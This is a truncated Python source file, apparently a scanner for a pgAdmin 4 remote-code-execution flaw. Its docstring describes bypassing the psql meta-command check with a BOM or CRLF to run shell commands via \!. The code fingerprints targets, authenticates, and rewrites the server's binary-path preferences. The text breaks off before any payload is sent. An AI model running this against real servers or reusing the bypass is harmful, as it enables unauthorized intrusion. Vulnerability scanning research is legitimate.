1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
| #!/usr/bin/env python3
r"""
CVE-2025-13780 Scanner for pgAdmin 4
=====================================
This scanner checks if a pgAdmin 4 instance is vulnerable to the
regex bypass vulnerability that allows Remote Code Execution via
the restore functionality.
Vulnerability Details:
- The regex `(^|\n)[ \t]*\\` is used to detect psql meta-commands
- This regex can be bypassed using:
1. UTF-8 BOM prefix (\xef\xbb\xbf)
2. CRLF injection (\n\r)
- When bypassed, attackers can execute shell commands via \! meta-command
Usage:
python3 scanner.py <target_url>
python3 scanner.py -f targets.txt
python3 scanner.py <target_url> --email EMAIL --password PASSWORD
Examples:
python3 scanner.py http://localhost:5050
python3 scanner.py -f targets.txt -o results.json --json
python3 scanner.py http://target:5050 -e admin@cve2025-13780.com -p admin
"""
import argparse
import json
import re
import sys
import os
from datetime import datetime
from concurrent.futures import ThreadPoolExecutor, as_completed
try:
import requests
from urllib.parse import urljoin
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
except ImportError:
print("Error: requests library required. Install with: pip3 install requests")
sys.exit(1)
try:
from rich.console import Console
from rich.table import Table
from rich.panel import Panel
from rich.progress import Progress, SpinnerColumn, TextColumn, BarColumn, TaskProgressColumn
from rich.text import Text
from rich.box import ROUNDED, DOUBLE, HEAVY
from rich.align import Align
from rich.live import Live
from rich.columns import Columns
from rich.style import Style
from rich import box
RICH_AVAILABLE = True
except ImportError:
RICH_AVAILABLE = False
print("[!] Rich library not found. Install with: pip3 install rich")
print("[*] Falling back to basic output...")
try:
import socketio
SOCKETIO_AVAILABLE = True
except ImportError:
SOCKETIO_AVAILABLE = False
console = Console() if RICH_AVAILABLE else None
def print_banner():
if RICH_AVAILABLE:
banner = """
[bold red]
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ███████╗ ██╗██████╗ ███████╗ █████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ███║╚════██╗╚════██║██╔══██╗██╔═████╗
██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████╗ ╚██║ █████╔╝ ██╔╝╚█████╔╝██║██╔██║
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║ ██║ ╚═══██╗ ██╔╝ ██╔══██╗████╔╝██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗███████║ ██║██████╔╝ ██║ ╚█████╔╝╚██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚══════╝ ╚═╝╚═════╝ ╚═╝ ╚════╝ ╚═════╝
[/bold red]
[bold white on red] ☠️ pgAdmin 4 RCE Scanner ☠️ [/bold white on red]
[dim]─────────────────────────────────────────────────────────────────────────────────────────────[/dim]
[bold yellow]⚡ Regex Bypass Remote Code Execution[/bold yellow] │ [bold magenta]Affected: pgAdmin 4 <= 8.14[/bold magenta]
[dim]─────────────────────────────────────────────────────────────────────────────────────────────[/dim]
"""
console.print(banner)
else:
print("""
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ███████╗ ██╗██████╗ ███████╗ █████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ███║╚════██╗╚════██║██╔══██╗██╔═████╗
██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████╗ ╚██║ █████╔╝ ██╔╝╚█████╔╝██║██╔██║
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║ ██║ ╚═══██╗ ██╔╝ ██╔══██╗████╔╝██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗███████║ ██║██████╔╝ ██║ ╚█████╔╝╚██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚══════╝ ╚═╝╚═════╝ ╚═╝ ╚════╝ ╚═════╝
pgAdmin 4 RCE Scanner - Regex Bypass
""")
def print_status(msg, status="info", quiet=False):
if quiet and status not in ["vuln", "safe", "error"]:
return
if RICH_AVAILABLE:
styles = {
"info": ("[*]", "blue"),
"success": ("[+]", "green"),
"warning": ("[!]", "yellow"),
"error": ("[-]", "red"),
"vuln": ("[VULNERABLE]", "bold red"),
"safe": ("[NOT VULNERABLE]", "bold green"),
"debug": ("[D]", "magenta"),
}
symbol, style = styles.get(status, styles["info"])
console.print(f"[{style}]{symbol}[/{style}] {msg}")
else:
symbols = {
"info": "[*]",
"success": "[+]",
"warning": "[!]",
"error": "[-]",
"vuln": "[VULNERABLE]",
"safe": "[NOT VULNERABLE]",
"debug": "[D]",
}
print(f"{symbols.get(status, symbols['info'])} {msg}")
class PgAdminScanner:
def __init__(self, base_url, email=None, password=None, timeout=10, verbose=False, quiet=False):
self.base_url = base_url.rstrip('/')
self.email = email
self.password = password
self.timeout = timeout
self.verbose = verbose
self.quiet = quiet
self.session = requests.Session()
self.session.verify = False
self.csrf_token = None
self.version = None
self.authenticated = False
self.scan_result = {}
def log(self, msg, status="info"):
print_status(msg, status, self.quiet)
def debug(self, msg):
if self.verbose:
print_status(msg, "debug")
def get_csrf_token(self, text):
"""Extract CSRF token from page content"""
patterns = [
r'"csrfToken":\s*"([^"]+)"',
r'csrf_token\s*=\s*"([^"]+)"',
r'name="csrf_token" value="([^"]+)"',
r'"csrf_token":"([^"]+)"'
]
for pattern in patterns:
match = re.search(pattern, text)
if match:
return match.group(1)
return None
def get_version_from_api(self):
"""Try to get version from various pgAdmin API endpoints"""
version_endpoints = [
("/misc/ping", r'"version":\s*"([^"]+)"'),
("/misc/ping", r'"pgAdmin4_version":\s*"([^"]+)"'),
("/settings", r'"version":\s*"([^"]+)"'),
("/browser/", r'"app_version":\s*"([^"]+)"'),
("/browser/", r'"version":\s*"([^"]+)"'),
]
for endpoint, pattern in version_endpoints:
try:
r = self.session.get(
f"{self.base_url}{endpoint}",
timeout=self.timeout,
headers={"Accept": "application/json"}
)
if r.status_code == 200:
match = re.search(pattern, r.text)
if match:
return match.group(1)
except Exception:
pass
return None
def get_version_from_js(self, html_content):
"""Try to extract version from JavaScript bundle or inline scripts"""
version_patterns = [
r'"version":\s*"(\d+\.\d+(?:\.\d+)?)"',
r"'version':\s*'(\d+\.\d+(?:\.\d+)?)'",
r'pgAdmin\s*4?\s*[vV]?(\d+\.\d+(?:\.\d+)?)',
r'APP_VERSION\s*[=:]\s*["\'](\d+\.\d+(?:\.\d+)?)["\']',
r'app_version["\']?\s*[=:]\s*["\'](\d+\.\d+(?:\.\d+)?)["\']',
r'data-version=["\'](\d+\.\d+(?:\.\d+)?)["\']',
r'"pgadmin_version":\s*"(\d+\.\d+(?:\.\d+)?)"',
r'"current_version":\s*"(\d+\.\d+(?:\.\d+)?)"',
r'<title>.*?pgAdmin\s*4?\s*-?\s*[vV]?(\d+\.\d+(?:\.\d+)?).*?</title>',
r'pgAdmin\s*4?\s*version\s*(\d+\.\d+(?:\.\d+)?)',
r'Version:\s*(\d+\.\d+(?:\.\d+)?)',
]
for pattern in version_patterns:
match = re.search(pattern, html_content, re.IGNORECASE)
if match:
return match.group(1)
ver_match = re.search(r'\?ver=(\d{2,})[\s"\']', html_content)
if ver_match:
ver_num = ver_match.group(1)
if len(ver_num) >= 3:
major = ver_num[0]
minor = ver_num[1:3].lstrip('0') or '0'
return f"{major}.{minor}"
return None
def set_binary_paths(self):
"""Configure PostgreSQL Binary Paths via API"""
if RICH_AVAILABLE:
console.print("[cyan]Configuring PostgreSQL binary paths...[/cyan]")
else:
self.log("Configuring PostgreSQL binary paths...", "info")
headers = {
"X-pgA-CSRFToken": self.csrf_token,
"Referer": f"{self.base_url}/browser/",
"X-Requested-With": "XMLHttpRequest"
}
try:
r = self.session.get(f"{self.base_url}/preferences/get_all", headers=headers, timeout=self.timeout)
if r.status_code == 200:
prefs = r.json()
paths_module_id = None
bin_paths_pref_id = None
for category in prefs:
if category.get('label') == 'Paths':
for node in category.get('children', []):
if node.get('label') == 'Binary paths':
paths_module_id = node.get('mid')
pass
pg_paths = {
"pg-12": "/usr/local/pgsql-12",
"pg-13": "/usr/local/pgsql-13",
"pg-14": "/usr/local/pgsql-14",
"pg-15": "/usr/local/pgsql-15",
"pg-16": "/usr/local/pgsql-16",
"pg-17": "/usr/local/pgsql-17"
}
import json
payload = {
'mid': 0,
'pg_bin_paths': json.dumps(pg_paths)
}
if r.status_code == 200:
def find_bin_paths_mid(nodes):
for node in nodes:
if node.get('name') == 'pg_bin_paths' or node.get('label') == 'Binary paths':
return node.get('id') or node.get('mid')
if 'children' in node:
res = find_bin_paths_mid(node['children'])
if res: return res
return None
mid = find_bin_paths_mid(prefs)
if not mid:
for node in prefs:
if node.get('label') == 'Paths':
for child in node.get('children', []):
if child.get('label') == 'Binary paths':
mid = child.get('id')
break
if mid:
self.debug(f"Found Binary Paths Module ID: {mid}")
r_save = self.session.post(
f"{self.base_url}/preferences/save",
data={'mid': mid, 'pg_bin_paths': json.dumps(pg_paths)},
headers=headers,
timeout=self.timeout
)
if r_save.status_code == 200:
if r_save.json().get('success'):
self.log("Successfully configured binary paths!", "success")
return True
self.debug(f"Failed to save paths: {r_save.text}")
else:
self.debug("Could not find Module ID for Binary paths")
except Exception as e:
self.debug(f"Error setting paths: {e}")
return False
def check_connectivity(self):
"""Check if target is reachable and is pgAdmin"""
self.log(f"Checking connectivity to {self.base_url}")
try:
r = self.session.get(
f"{self.base_url}/login",
timeout=self.timeout,
allow_redirects=True
)
self.debug(f"Response status: {r.status_code}")
if 'pgAdmin' in r.text or 'pgadmin' in r.text.lower():
self.log("Target appears to be pgAdmin", "success")
self.version = self.get_version_from_js(r.text)
if not self.version:
self.version = self.get_version_from_api()
if not self.version:
try:
ping_r = self.session.get(
f"{self.base_url}/misc/ping",
timeout=self.timeout
)
if ping_r.status_code == 200:
try:
ping_data = ping_r.json()
if 'version' in ping_data:
self.version = str(ping_data['version'])
elif 'pgAdmin4_version' in ping_data:
self.version = str(ping_data['pgAdmin4_version'])
except Exception:
v_match = re.search(r'"(?:version|pgAdmin4_version)":\s*"([^"]+)"', ping_r.text)
if v_match:
self.version = v_match.group(1)
except:
pass
if not self.version:
try:
browser_r = self.session.get(
f"{self.base_url}/browser/",
timeout=self.timeout
)
if browser_r.status_code == 200:
js_version = self.get_version_from_js(browser_r.text)
if js_version:
self.version = js_version
except Exception:
pass
if self.version:
self.log(f"Detected version: {self.version}", "success")
else:
self.debug("Could not detect version from any source")
self.csrf_token = self.get_csrf_token(r.text)
if self.csrf_token:
self.log("CSRF token obtained", "success")
self.debug(f"CSRF Token: {self.csrf_token[:20]}...")
return True
else:
self.log("Target does not appear to be pgAdmin", "warning")
return False
except requests.exceptions.ConnectionError as e:
self.log(f"Failed to connect to {self.base_url}", "error")
self.debug(f"Error: {str(e)}")
return False
except requests.exceptions.Timeout:
self.log("Connection timed out", "error")
return False
except Exception as e:
self.log(f"Error: {str(e)}", "error")
return False
def authenticate(self):
"""Attempt to authenticate to pgAdmin"""
if not self.email or not self.password:
self.log("No credentials provided, skipping authentication", "warning")
return False
self.log(f"Attempting authentication as {self.email}")
if not self.csrf_token:
r = self.session.get(f"{self.base_url}/login", timeout=self.timeout)
self.csrf_token = self.get_csrf_token(r.text)
if not self.csrf_token:
self.log("Could not obtain CSRF token for authentication", "error")
return False
headers = {
"X-pgA-CSRFToken": self.csrf_token,
"Referer": f"{self.base_url}/login",
"Origin": self.base_url,
"X-Requested-With": "XMLHttpRequest"
}
login_data = {
"email": self.email,
"password": self.password,
"csrf_token": self.csrf_token
}
try:
r = self.session.post(
f"{self.base_url}/authenticate/login",
data=login_data,
headers=headers,
timeout=self.timeout,
allow_redirects=False
)
self.debug(f"Login response: {r.status_code}")
if r.status_code == 200 or r.status_code == 302:
r2 = self.session.get(f"{self.base_url}/browser/", timeout=self.timeout)
if 'login' not in r2.url.lower():
self.log("Authentication successful", "success")
self.authenticated = True
new_csrf = self.get_csrf_token(r2.text)
if new_csrf:
self.csrf_token = new_csrf
self.debug(f"CSRF token updated: {new_csrf[:20]}...")
else:
self.debug("Warning: Could not find CSRF token in browser page")
return True
self.log("Authentication failed", "error")
return False
except Exception as e:
self.log(f"Authentication error: {str(e)}", "error")
return False
def check_restore_endpoint(self):
"""Check if restore endpoint exists and is accessible"""
self.log("Checking restore endpoint availability")
endpoints_to_check = [
("/restore/", "Restore API"),
("/tools/restore/", "Tools Restore"),
("/browser/", "Browser"),
]
accessible = []
for endpoint, name in endpoints_to_check:
try:
r = self.session.get(
f"{self.base_url}{endpoint}",
timeout=self.timeout
)
if r.status_code != 404:
self.debug(f"{name} ({endpoint}): Status {r.status_code}")
accessible.append((endpoint, r.status_code))
except Exception:
pass
return accessible
def check_version_vulnerable(self):
"""Check if detected version is known vulnerable"""
if not self.version:
self.log("Could not determine version, assuming potentially vulnerable", "warning")
return True
try:
parts = self.version.split('.')
major = int(parts[0])
minor = int(parts[1]) if len(parts) > 1 else 0
|